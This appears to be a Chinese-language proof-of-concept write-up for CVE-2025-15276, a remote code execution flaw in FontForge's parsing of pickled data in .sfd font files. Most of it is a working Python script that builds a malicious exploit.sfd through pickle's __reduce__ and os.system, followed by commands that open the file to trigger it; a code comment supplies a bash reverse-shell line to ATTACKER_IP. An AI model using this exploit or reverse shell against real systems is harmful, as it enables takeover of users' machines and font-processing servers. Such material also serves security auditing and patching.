本概念验证(PoC)仅用于教育和安全审计目的。 作者不对任何滥用此信息的行为负责。未经授权访问计算机系统属于违法行为。在对任何系统执行安全测试之前,务必获得明确许可。
CVE-2025-15276 是 FontForge(版本截至并包括 20230101)中的一个严重 远程代码执行(RCE) 漏洞。该缺陷存在于 Spline Font Database(.sfd)格式的解析过程中,具体位于 PickledData 字段内。
FontForge 的 SFD 格式允许通过 PickledData 关键字存储持久的 Python 字典。加载字体时,FontForge 会提取该字符串并将其直接传递给 Python 的 pickle.loads() 函数(或等效的内部反序列化例程),而没有任何清理或沙箱隔离。
由于 Python pickle 模块本身不安全,允许任意对象重建,攻击者可以利用 __reduce__ 方法,以运行 FontForge 用户的权限执行任意系统命令。
20230101 或更早版本。使用以下 Python 脚本(gen_poc.py)创建一个 exploit.sfd 文件。此 PoC 被配置为在 /tmp/pwned 创建一个文件,作为安全的入侵指标(IoC)。
import pickle
import os
# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"
class Exploit(object):
def __reduce__(self):
return (os.system, (cmd,))
# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')
# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')
# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""
with open("exploit.sfd", "w") as f:
f.write(sfd_content)
print("[+] exploit.sfd generated successfully.")
只需使用 FontForge 打开该文件即可触发漏洞。
选项 A:标准 GUI/CLI 加载
fontforge exploit.sfd
选项 B:Python 脚本接口(常见于自动化流水线)
fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'
检查命令是否已执行:
ls -l /tmp/pwned
此漏洞在字体处理流水线(例如基于 Web 的字体转换器或自动化验证脚本)中尤为危险,这些流水线在后台使用 FontForge 处理用户上传的文件。如果后端脚本对不受信任的 .sfd 文件调用 fontforge.open(),攻击者将获得对处理服务器的完全控制。
.sfd 文件。